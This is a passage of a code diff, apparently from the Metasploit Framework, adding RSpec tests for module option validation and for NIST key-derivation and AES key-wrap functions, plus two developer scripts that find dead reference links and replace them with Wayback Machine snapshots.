receive(:file?).with('/proc/sys/kernel/osrelease').and_return(false) + allow(subject).to receive(:read_file).with('/proc/1/cgroup').and_return('') + allow(subject).to receive(:get_env).with('container').and_return(nil) + allow(subject).to receive(:report_host) + expect(subject.get_container_type).to eq('Unknown') + end + end +end diff --git a/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb index c081145e94e08..d2fc6c7fec247 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb @@ -145,6 +145,51 @@ def cleanup mod end + let(:aux_mod_with_option_validation) do + mod_klass = Class.new(Msf::Auxiliary) do + def initialize(info = {}) + super( + 'Name' => 'mock smb module', + 'Description' => 'mock smb module', + 'Author' => ['Unknown'], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Msf::OptString.new('USERNAME', [ true, 'Set me to be greeted']), + Msf::OptString.new('PASSWORD', [ false, 'Secret value' ]) + ] + ) + end + + def validate + super + + if datastore['PASSWORD'] != 'PleaseThrowTheBall' + raise Msf::OptionValidateError.new({'PASSWORD' => 'Nuh uh uh, you didn\'t say the magic word.'}) + end + end + + def check + print_status('Check completed!') + end + + def run + print("Hello #{datastore['USERNAME']}") + print_status('Run completed!') + end + end + + mod = mod_klass.new + datastore = Msf::ModuleDataStore.new(mod) + allow(mod).to receive(:framework).and_return(framework) + mod.send(:datastore=, datastore) + datastore.import_options(mod.options) + Msf::Simple::Framework.simplify_module(mod) + mod + end + subject do instance = described_class.new(driver) instance @@ -385,6 +430,44 @@ def cleanup expect(@combined_output).to match_array(expected_output) end end + + context 'when running an auxiliary module with option validation' do + let(:current_mod) { aux_mod_with_option_validation } + + it 'reports options that fail validation' do + allow(current_mod).to receive(:check).and_call_original + allow(current_mod).to receive(:validate).and_call_original + current_mod.datastore['RHOSTS'] = '192.0.2.1' + current_mod.datastore['USERNAME'] = 'Jackson' + current_mod.datastore['PASSWORD'] = 'ThrowTheBall' + subject.cmd_check + expected_output = [ + 'Msf::OptionValidateError The following options failed to validate:', + 'Invalid option PASSWORD: Nuh uh uh, you didn\'t say the magic word.' + ] + + expect(@combined_output).to match_array(expected_output) + expect(subject.mod).not_to have_received(:check) + expect(subject.mod).to have_received(:validate).at_least(:once) + end + + it 'runs when validation passes' do + allow(current_mod).to receive(:check).and_call_original + allow(current_mod).to receive(:validate).and_call_original + current_mod.datastore['RHOSTS'] = '192.0.2.1' + current_mod.datastore['USERNAME'] = 'Jackson' + current_mod.datastore['PASSWORD'] = 'PleaseThrowTheBall' + subject.cmd_check + expected_output = [ + 'Check completed!', + 'Check failed: The state could not be determined.' + ] + + expect(@combined_output).to match_array(expected_output) + expect(subject.mod).to have_received(:check) + expect(subject.mod).to have_received(:validate).at_least(:once) + end + end end describe '#cmd_run' do @@ -720,6 +803,46 @@ def cleanup expect(@combined_output).to match_array(expected_output) end end + + context 'when running an auxiliary module with option validation' do + let(:current_mod) { aux_mod_with_option_validation } + + it 'reports options that fail validation' do + allow(current_mod).to receive(:run).and_call_original + allow(current_mod).to receive(:validate).and_call_original + current_mod.datastore['RHOSTS'] = '192.0.2.1' + current_mod.datastore['USERNAME'] = 'Jackson' + current_mod.datastore['PASSWORD'] = 'ThrowTheBall' + subject.cmd_run + expected_output = [ + 'Msf::OptionValidateError The following options failed to validate:', + 'Invalid option PASSWORD: Nuh uh uh, you didn\'t say the magic word.' + ] + + expect(@combined_output).to match_array(expected_output) + expect(subject.mod).not_to have_received(:run) + expect(subject.mod).to have_received(:validate).at_least(:once) + end + + it 'runs when validation passes' do + allow(current_mod).to receive(:run).and_call_original + allow(current_mod).to receive(:validate).and_call_original + current_mod.datastore['RHOSTS'] = '192.0.2.1' + current_mod.datastore['USERNAME'] = 'Jackson' + current_mod.datastore['PASSWORD'] = 'PleaseThrowTheBall' + subject.cmd_run + expected_output = [ + 'Auxiliary module execution completed', + 'Hello Jackson', + 'Run completed!', + 'Running module against 192.0.2.1' + ] + + expect(@combined_output).to match_array(expected_output) + expect(subject.mod).to have_received(:run) + expect(subject.mod).to have_received(:validate).at_least(:once) + end + end end describe '#cmd_rerun' do diff --git a/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb index 7539ceff9d85f..11312c6ba3a77 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb @@ -96,6 +96,57 @@ def cleanup mod end + let(:ex_mod_with_option_validation) do + mod_klass = Class.new(Msf::Exploit) do + def initialize(info = {}) + super( + 'Name' => 'mock smb module', + 'Description' => 'mock smb module', + 'Author' => ['Unknown'], + 'License' => MSF_LICENSE, + 'Arch' => ARCH_CMD, + 'Platform' => ['unix'], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + ) + + register_options( + [ + Msf::OptString.new('USERNAME', [ true, 'Set me to be greeted']), + Msf::OptString.new('PASSWORD', [ false, 'Secret value' ]) + ] + ) + end + + def validate + super + + if datastore['PASSWORD'] != 'PleaseThrowTheBall' + raise Msf::OptionValidateError.new({'PASSWORD' => 'Nuh uh uh, you didn\'t say the magic word.'}) + end + end + + def check + print_status('Check completed!') + end + + def run + print("Hello #{datastore['USERNAME']}") + print_status('Run completed!') + end + + alias_method :exploit, :run + end + + mod = mod_klass.new + datastore = Msf::ModuleDataStore.new(mod) + allow(mod).to receive(:framework).and_return(framework) + mod.send(:datastore=, datastore) + datastore.import_options(mod.options) + Msf::Simple::Framework.simplify_module(mod) + mod + end + subject do instance = described_class.new(driver) instance @@ -229,6 +280,40 @@ def set_default_payload(mod) expect(@combined_output).to match_array(expected_output) end end + + context 'when running an exploit module with option validation' do + let(:current_mod) { ex_mod_with_option_validation } + + it 'reports options that fail validation' do + allow(current_mod).to receive(:check).and_call_original + allow(current_mod).to receive(:validate).and_call_original + current_mod.datastore['USERNAME'] = 'Jackson' + current_mod.datastore['PASSWORD'] = 'ThrowTheBall' + subject.cmd_check + expected_output = [ + 'Msf::OptionValidateError The following options failed to validate:', + 'Invalid option PASSWORD: Nuh uh uh, you didn\'t say the magic word.' + ] + + expect(@combined_output).to match_array(expected_output) + expect(subject.mod).to have_received(:validate).at_least(:once) + end + + it 'runs when validation passes' do + allow(current_mod).to receive(:check).and_call_original + allow(current_mod).to receive(:validate).and_call_original + current_mod.datastore['USERNAME'] = 'Jackson' + current_mod.datastore['PASSWORD'] = 'PleaseThrowTheBall' + subject.cmd_check + expected_output = [ + 'Check completed!', + 'Check failed: The state could not be determined.' + ] + + expect(@combined_output).to match_array(expected_output) + expect(subject.mod).to have_received(:validate).at_least(:once) + end + end end describe '#cmd_run' do @@ -284,7 +369,6 @@ def set_default_payload(mod) current_mod.datastore['RHOSTS'] = '192.0.2.1' subject.cmd_run expected_output = [ - 'Exploit completed, but no session was created.', 'Msf::OptionValidateError One or more options failed to validate: REQUIRED_PAYLOAD_OPTION.' ] @@ -509,6 +593,41 @@ def set_default_payload(mod) expect(@combined_output).to match_array(expected_output) end end + + context 'when running an exploit module with option validation' do + let(:current_mod) { ex_mod_with_option_validation } + + it 'reports options that fail validation' do + allow(current_mod).to receive(:run).and_call_original + allow(current_mod).to receive(:validate).and_call_original + current_mod.datastore['USERNAME'] = 'Jackson' + current_mod.datastore['PASSWORD'] = 'ThrowTheBall' + subject.cmd_run + expected_output = [ + 'Msf::OptionValidateError The following options failed to validate:', + 'Invalid option PASSWORD: Nuh uh uh, you didn\'t say the magic word.' + ] + + expect(@combined_output).to match_array(expected_output) + expect(subject.mod).to have_received(:validate).at_least(:once) + end + + it 'runs when validation passes' do + allow(current_mod).to receive(:run).and_call_original + allow(current_mod).to receive(:validate).and_call_original + current_mod.datastore['USERNAME'] = 'Jackson' + current_mod.datastore['PASSWORD'] = 'PleaseThrowTheBall' + subject.cmd_run + expected_output = [ + 'Hello Jackson', + 'Run completed!', + 'Exploit completed, but no session was created.' + ] + + expect(@combined_output).to match_array(expected_output) + expect(subject.mod).to have_received(:validate).at_least(:once) + end + end end describe '#cmd_rerun' do diff --git a/spec/lib/rex/crypto/key_derivation/nist_sp_800_108_spec.rb b/spec/lib/rex/crypto/key_derivation/nist_sp_800_108_spec.rb new file mode 100644 index 0000000000000..b066e80bcb290 --- /dev/null +++ b/spec/lib/rex/crypto/key_derivation/nist_sp_800_108_spec.rb @@ -0,0 +1,52 @@ +require 'spec_helper' +require 'rex/crypto/key_derivation/nist_sp_800_108' + +RSpec.describe Rex::Crypto::KeyDerivation::NIST_SP_800_108 do + describe '.counter' do + let(:secret) { [ '000102030405060708090A0B0C0D0E0F' ].pack('H*') } + let(:prf) { RSpec::Mocks::Double.new('prf') } + let(:length) { 32 } + let(:label) { "RSpec Test Label\0" } + let(:context) { "RSpec Test Context\0" } + + it 'builds the context block correctly for the prf' do + info = [ 1 ].pack('L>') + label + "\x00".b + context + [ length * 8 ].pack('L>') + expect(prf).to receive(:call).with(info).and_return(OpenSSL::HMAC.digest('SHA256', secret, info)) + described_class.counter(length, prf, label: label, context: context) + end + end + + describe '.counter_hmac' do + let(:secret) { [ '000102030405060708090A0B0C0D0E0F' ].pack('H*') } + let(:length) { 32 } + let(:label) { "RSpec Test Label\0" } + let(:context) { "RSpec Test Context\0" } + + context 'when the algorithm is invalid' do + let(:algorithm) { 'InvalidAlgorithm' } + + it 'raises an error' do + expect { described_class.counter_hmac(secret, length, algorithm, label: label, context: context) }.to raise_error(RuntimeError, /digest algorithm/) + end + end + + context 'when the algorithm is SHA256' do + let(:algorithm) { 'SHA256' } + before(:each) { expect(OpenSSL::HMAC).to receive(:digest).at_least(:once).with(algorithm, secret, anything).and_call_original } + before(:each) { expect(described_class).to receive(:counter).with(length, anything, context: context, label: label, keys: instance_of(Integer)).and_call_original } + + it 'uses SHA256 to calculate 1 key' do + keys = described_class.counter_hmac(secret, length, algorithm, label: label, context: context) + expect(keys.length).to eq 1 + expect(keys[0]).to eq ['5889a9fe18d9d51b5eb95272088acbe38bd2ea82517f1956b919dc549a945aa0'].pack('H*') + end + + it 'uses SHA256 to calculate 2 keys' do + keys = described_class.counter_hmac(secret, length, algorithm, label: label, context: context, keys: 2) + expect(keys.length).to eq 2 + expect(keys[0]).to eq ['2060ea190b9ac147ccfbe2c094c49be04dcac80db6d05b1c32c54529caf24d43'].pack('H*') + expect(keys[1]).to eq ['f66a460fc1d03451c1ef669ee10953815460d368668be13301d6314878ed771d'].pack('H*') + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/crypto/key_wrap/nist_sp_800_38f_spec.rb b/spec/lib/rex/crypto/key_wrap/nist_sp_800_38f_spec.rb new file mode 100644 index 0000000000000..02c247cb21710 --- /dev/null +++ b/spec/lib/rex/crypto/key_wrap/nist_sp_800_38f_spec.rb @@ -0,0 +1,60 @@ +require 'spec_helper' +require 'rex/crypto/key_wrap/nist_sp_800_38f' + +RSpec.describe Rex::Crypto::KeyWrap::NIST_SP_800_38f do + let(:expected_plaintext) { [ '00112233445566778899AABBCCDDEEFF' ].pack('H*') } + + # Test vector from RFC 3394, Section 4.1 - 128-bit KEK + let(:kek_128) { [ '000102030405060708090A0B0C0D0E0F' ].pack('H*') } + let(:ciphertext_128) { [ '1FA68B0A8112B447AEF34BD8FB5A7B829D3E862371D2CFE5' ].pack('H*') } + + # Test vector from RFC 3394, Section 4.2 - 192-bit KEK + let(:kek_192) { [ '000102030405060708090A0B0C0D0E0F1011121314151617' ].pack('H*') } + let(:ciphertext_192) { [ '96778B25AE6CA435F92B5B97C050AED2468AB8A17AD84E5D' ].pack('H*') } + + # Test vector from RFC 3394, Section 4.3 - 256-bit KEK + let(:kek_256) { [ '000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F' ].pack('H*') } + let(:ciphertext_256) { [ '64E8C3F9CE0F5BA263E9777905818A2A93C8191E7D6E8AE7' ].pack('H*') } + + describe '.aes_unwrap' do + it 'successfully unwraps a 128-bit key with a 128-bit KEK (RFC 3394, Section 4.1)' do + unwrapped_key = described_class.aes_unwrap(kek_128, ciphertext_128) + expect(unwrapped_key).to eq(expected_plaintext) + end + + it 'successfully unwraps a 128-bit key with a 192-bit KEK (RFC 3394, Section 4.2)' do + unwrapped_key = described_class.aes_unwrap(kek_192, ciphertext_192) + expect(unwrapped_key).to eq(expected_plaintext) + end + + it 'successfully unwraps a 128-bit key with a 256-bit KEK (RFC 3394, Section 4.3)' do + unwrapped_key = described_class.aes_unwrap(kek_256, ciphertext_256) + expect(unwrapped_key).to eq(expected_plaintext) + end + + context 'when the wrapped key is corrupted' do + let(:corrupted_wrapped_key) { ['64E8C3F9CE0F5BA2A521427441A552DA'].pack('H*') } + + context 'when authenticate is true' do + it 'raises an exception' do + expect { described_class.aes_unwrap(kek_128, corrupted_wrapped_key, authenticate: true) }.to raise_error(Rex::RuntimeError, /integrity check failed/) + end + end + + context 'when authenticate is false' do + it 'successfully unwraps the key' do + unwrapped_key = described_class.aes_unwrap(kek_128, corrupted_wrapped_key, authenticate: false) + expect(unwrapped_key).to eq ['3078ea9fbd99e7d7'].pack('H*') + end + end + end + + context 'when the wrapped key is invalid' do + let(:invalid_wrapped_key) { ['64E8C3F9CE0F5B'].pack('H*') } # Not a multiple of 8 + + it 'rejects keys with invalid ciphertext length' do + expect { described_class.aes_unwrap(kek_128, invalid_wrapped_key, authenticate: false) }.to raise_error(Rex::ArgumentError, /must be a multiple of 8/) + end + end + end +end diff --git a/tools/dev/detect_dead_reference_links.rb b/tools/dev/detect_dead_reference_links.rb new file mode 100755 index 0000000000000..bcbbed300f081 --- /dev/null +++ b/tools/dev/detect_dead_reference_links.rb @@ -0,0 +1,315 @@ +## +# This script checks the status of URLs from a provided JSON file. +# It validates if URLs are alive, handles redirects, and fetches Wayback Machine snapshots for URLs that are down. +# It logs the status of each URL, including errors, redirects, and archived snapshots. +# +# Usage: ruby tools/dev/detect_dead_reference_links.rb -f db/modules_metadata_base.json -l WARN +# + +require 'net/http' +require 'uri' +require 'json' +require 'csv' +require 'concurrent' +require 'logger' +require 'fileutils' +require 'optparse' +require 'benchmark' + +class UrlChecker + WAYBACK_MACHINE_API_URL = 'https://archive.org/wayback/available?url=' + MAX_REDIRECTS = 5 # Maximum number of redirects to follow for each URL + THREAD_POOL_SIZE = 5 # Number of threads in the pool to process URLs concurrently + CHECKED_URLS_FILE = 'checked_urls.jsonl' # File to save URLs that have been checked + BATCH_SIZE = 1000 # Number of URLs to process in each batch + MAX_RETRIES = 3 # Maximum number of retries for failed requests to the Wayback Machine + RETRY_DELAY = 5 # Delay in seconds between retries + + # Initializes the UrlChecker instance with given URLs and configuration options + # @param [Array] urls_with_paths A list of URLs with associated paths to check + # @param [Logger::Level] log_level The logging level (defaults to Logger::INFO) + def initialize(urls_with_paths, log_level: Logger::INFO) + @urls_with_paths = urls_with_paths + @results = [] + @checked_urls = load_checked_urls + @url_times = [] + @logger = Logger.new($stdout) + @logger.level = log_level + @total_urls = urls_with_paths.size + @processed_urls = 0 + end + + # Starts the process of checking all URLs in batches, logging results and saving progress + # in a thread-safe manner. + def check_urls + pool = Concurrent::FixedThreadPool.new(THREAD_POOL_SIZE) + at_exit { shutdown_thread_pool(pool) } + + # Process URLs in batches to avoid overwhelming the system + @urls_with_paths.each_slice(BATCH_SIZE) do |batch| + futures = batch.map do |url_with_path| + Concurrent::Promises.future(pool) do + result = check_url(url_with_path) + @results << result + @checked_urls << url_with_path[:url] + save_progress(result) + + update_progress + end + end + + # Wait for all futures in the current batch to finish before proceeding + Concurrent::Promises.zip(*futures).wait! + + # Sleep between batches to avoid overloading the server + sleep 5 + end + + save_results_to_file + ensure + pool.shutdown + pool.wait_for_termination + @logger.info('Finished checking URLs.') + end + + private + + # Filters out URLs that have already been checked. + # @return [Array] List of URLs and paths that have not been checked yet + def unchecked_urls + @urls_with_paths.reject { |url_with_path| @checked_urls.include?(url_with_path[:url]) } + end + + # Checks a single URL and processes its response. + # @param [Hash] url_with_path The URL and its associated path to check + # @return [Hash] A result containing the URL, path, status, and archived snapshot (if available) + def check_url(url_with_path) + url_result = { url: url_with_path[:url], path: url_with_path[:path], status: nil, archived_snapshot: nil } + + # Skip non-URL references and Wayback links + if !url_with_path[:url].start_with?('URL-') + url_result[:status] = 'Skipped (not a URL- reference)' + return url_result + elsif url_with_path[:url].start_with?('http://web.archive.org/web') + url_result[:status] = 'Wayback link (skipped)' + return url_result + end + + # Clean the URL and validate it + cleaned_url = url_with_path[:url].sub(/^URL-/, '') + + # Check if the URL is valid + if !valid_url?(cleaned_url) + url_result[:status] = 'Invalid URL' + return url_result + end + + # Prepare the HTTP request + uri = URI.parse(cleaned_url) + http = Net::HTTP.new(uri.host, uri.port) + http.use_ssl = uri.scheme == 'https' + + start_time = Time.now + + begin + # Get the HTTP response and handle redirects + response = get_response(http, uri) + follow_redirects(http, uri, response) + rescue StandardError => e + handle_error(url_result, e) + end + + # Process the response (check for success, failure, or error) + process_response(response, url_result) + elapsed_time = Time.now - start_time + @url_times << elapsed_time + + url_result + ensure + save_progress(url_result) + end + + # Validates if a URL is properly formatted + # @param [String] url The URL to check + # @return [Boolean] True if the URL is valid, false otherwise + def valid_url?(url) + URI.parse(url).is_a?(URI::HTTP) + rescue StandardError + false + end + + # Sends an HTTP GET request to the specified URI + # @param [Net::HTTP] http The HTTP client + # @param [URI] uri The URI to send the GET request to + # @return [Net::HTTPResponse] The HTTP response + def get_response(http, uri) + http.get(uri.request_uri) + end + + # Follows HTTP redirects up to a maximum limit (MAX_REDIRECTS) + # @param [Net::HTTP] http The HTTP client + # @param [URI] uri The original URI + # @param [Net::HTTPResponse] response The HTTP response to process + def follow_redirects(http, uri, response) + redirect_count = 0 + while response.is_a?(Net::HTTPRedirection) && redirect_count < MAX_REDIRECTS + location = response['location'] + @logger.info("Redirecting to: #{location}") + uri = URI.parse(location) + response = http.get(uri.request_uri) + redirect_count += 1 + end + end + + # Processes the HTTP response to determine the URL status + # @param [Net::HTTPResponse] response The HTTP response to process + # @param [Hash] url_result The result hash to update with the status + def process_response(response, url_result) + if response.nil? + url_result[:status] = 'Error: No response received' + elsif response.is_a?(Net::HTTPSuccess) || response.is_a?(Net::HTTPRedirection) + url_result[:status] = 'Alive' + else + url_result[:status] = "Not Alive (Status Code: #{response.code})" + fetch_wayback_snapshot(url_result) + end + end + + # Handles errors encountered during URL checking (e.g., network errors) + # @param [Hash] url_result The result hash to update with error information + # @param [StandardError] error The error that was raised + def handle_error(url_result, error) + url_result[:status] = "Error: #{error.message}" + url_result[:archived_snapshot] = nil + end + + # Attempts to fetch the Wayback Machine snapshot for the URL + # @param [Hash] url_result The result hash to update with the Wayback snapshot information + def fetch_wayback_snapshot(url_result) + wayback_url = "#{WAYBACK_MACHINE_API_URL}#{url_result[:url]}" + retries = 0 + + begin + uri = URI.parse(wayback_url) + response = Net::HTTP.get_response(uri) + handle_wayback_response(response, url_result) + rescue StandardError => e + retries += 1 + if retries <= MAX_RETRIES + @logger.warn("Error fetching Wayback snapshot for #{url_result[:url]}: #{e.message}. Retrying in #{RETRY_DELAY} seconds... (Attempt #{retries} of #{MAX_RETRIES})") + sleep(RETRY_DELAY) + retry + else + url_result[:archived_snapshot] = "Error fetching Wayback snapshot after #{MAX_RETRIES} attempts: #{e.message}" + end + end + end + + # Processes the response from the Wayback Machine API + # @param [Net::HTTPResponse] response The response from the Wayback Machine + # @param [Hash] url_result The result hash to update with the archived snapshot URL + def handle_wayback_response(response, url_result) + if response.is_a?(Net::HTTPSuccess) + data = JSON.parse(response.body) + snapshot = data.dig('archived_snapshots', 'closest', 'url') + url_result[:archived_snapshot] = snapshot || 'No archived version found' + else + url_result[:archived_snapshot] = 'Error fetching Wayback Machine data' + end + end + + # Saves the final results of the URL checks to a JSON file + def save_results_to_file + File.open('url_check_results.json', 'w') { |file| file.write(JSON.pretty_generate(@results)) } + @logger.info('Results have been saved to "url_check_results.json".') + end + + # Saves the progress of checked URLs to a file + # @param [Hash] result The result of a single URL check + def save_progress(result) + File.open(CHECKED_URLS_FILE, 'a') { |file| file.puts JSON.generate(result) } + end + + # Loads the list of already checked URLs from the progress file + # @return [Array] A list of checked URLs + def load_checked_urls + return [] unless File.exist?(CHECKED_URLS_FILE) + + File.readlines(CHECKED_URLS_FILE).map { |row| JSON.parse(row)['url'] } + end + + # Shuts down the thread pool after URL checking is complete + # @param [Concurrent::FixedThreadPool] pool The thread pool to shut down + def shutdown_thread_pool(pool) + pool.shutdown + pool.wait_for_termination + @logger.info('Thread pool shut down successfully.') + end + + # Updates the progress bar based on the number of URLs processed + def update_progress + @processed_urls += 1 + percentage = (@processed_urls.to_f / @total_urls * 100).round + bar_length = 50 + progress = ('=' * (percentage / 2)).ljust(bar_length, ' ') + print "\r[#{progress}] #{percentage}% (#{@processed_urls}/#{@total_urls})" + end +end + +# Main entry point to run the URL checking process +if __FILE__ == $PROGRAM_NAME + options = {} + OptionParser.new do |opts| + opts.banner = 'Usage: ruby url_checker.rb [options]' + + opts.on('-f', '--file FILE', 'JSON file containing URLs and paths') do |file| + options[:file] = file + end + + opts.on('-l', '--log-level LEVEL', 'Log level (DEBUG, INFO, WARN, ERROR, FATAL, UNKNOWN)') do |log_level| + options[:log_level] = log_level.upcase.to_sym + end + end.parse! + + # Validate input file + unless options[:file] && File.exist?(options[:file]) + puts 'Please provide a valid JSON file with URLs and paths.' + exit 1 + end + + # Handling for log level + log_level = options[:log_level] || 'INFO' + log_level = Logger.const_get(log_level) + + # Parse the JSON file containing URLs and paths + urls_with_paths = JSON.parse(File.read(options[:file])) + + # Map the data to the format required by the checker + mapped_data = urls_with_paths.flat_map do |_path, metadata| + metadata['references'].map { |ref| { 'path' => metadata['path'], 'ref' => ref } } + end + + # Validate the structure of the mapped data + unless mapped_data.is_a?(Array) && mapped_data.all? { |entry| entry['ref'] && entry['path'] } + puts "Invalid JSON structure. The file should contain an array of objects with 'ref' and 'path' keys." + exit 1 + end + + # Create the final list of URLs and paths + urls_with_paths_final = mapped_data.map { |entry| { url: entry['ref'], path: entry['path'] } } + + start_time = Time.now + + # Create and run the UrlChecker instance + url_checker = UrlChecker.new(urls_with_paths_final, log_level: log_level) + url_checker.check_urls + + + end_time = Time.now + # Calculate and display the total time taken + elapsed_time = end_time - start_time + minutes = (elapsed_time / 60).to_i + seconds = (elapsed_time % 60).to_i + + puts "\nTotal time taken: #{minutes} minutes and #{seconds} seconds" +end diff --git a/tools/dev/find_and_replace_dead_reference_links.rb b/tools/dev/find_and_replace_dead_reference_links.rb new file mode 100644 index 0000000000000..5f05b28bde80e --- /dev/null +++ b/tools/dev/find_and_replace_dead_reference_links.rb @@ -0,0 +1,72 @@ +## +# +# tools/dev/detect_dead_reference_links.rb must be run before this script as it will +# create the url_check_results.json file that is used to run the script. +# +# Usage: ruby tools/dev/find_and_replace_dead_reference_links.rb -f url_check_results.json +# +## + +require 'json' +require 'fileutils' + +# Loads JSON data from the specified file. +# @param file_path [String] the path to the JSON file to load. +# @return [Array] parsed JSON data. +# @raise [Errno::ENOENT] if the file cannot be found. +# @raise [JSON::ParserError] if the JSON is malformed. +def load_json(file_path) + JSON.parse(File.read(file_path)) +end + +# Replaces the original URLs with archived snapshots in the content of files. +# This method processes each entry in the provided data, and if a valid +# archived snapshot is available, it replaces the URL in the corresponding file. +# @param data [Array] the array of data containing URL and archived_snapshot pairs. +# @return [void] +def replace_links_in_files(data) + data.each_with_index do |entry, index| + puts "Processing entry #{index + 1}: #{entry['url']} -> #{entry['archived_snapshot']}" + + url = entry['url'].sub(/^URL-/, '') + path = entry['path'] + archived_snapshot = entry['archived_snapshot'] + + # Skip entries with no archived version or errors fetching the snapshot + if archived_snapshot == 'No archived version found' || archived_snapshot.nil? || archived_snapshot.start_with?('Error fetching Wayback') + puts "Skipping entry #{index + 1} because no archived version is available or there was an error fetching it." + next + end + + # Construct full file path and check if file exists + full_path = File.join(Dir.pwd, path) + + if File.exist?(full_path) + file_content = File.read(full_path) + + # Replace the original URL with the archived snapshot + updated_content = file_content.gsub(url, archived_snapshot) + + # Write changes back to the file if any replacements were made + if file_content != updated_content + File.open(full_path, 'w') { |file| file.write(updated_content) } + puts "Replaced URL in file: #{full_path}" + else + puts "No change needed for file: #{full_path}" + end + else + puts "File not found: #{full_path}" + end + end +end + +begin + # Load the JSON data from the file 'url_check_results.json' + json_data = load_json('url_check_results.json') + + # Replace the URLs in files based on the loaded data + replace_links_in_files(json_data) +rescue StandardError => e + # Handle errors gracefully and provide meaningful feedback + puts "An error occurred: #{e.message}" +end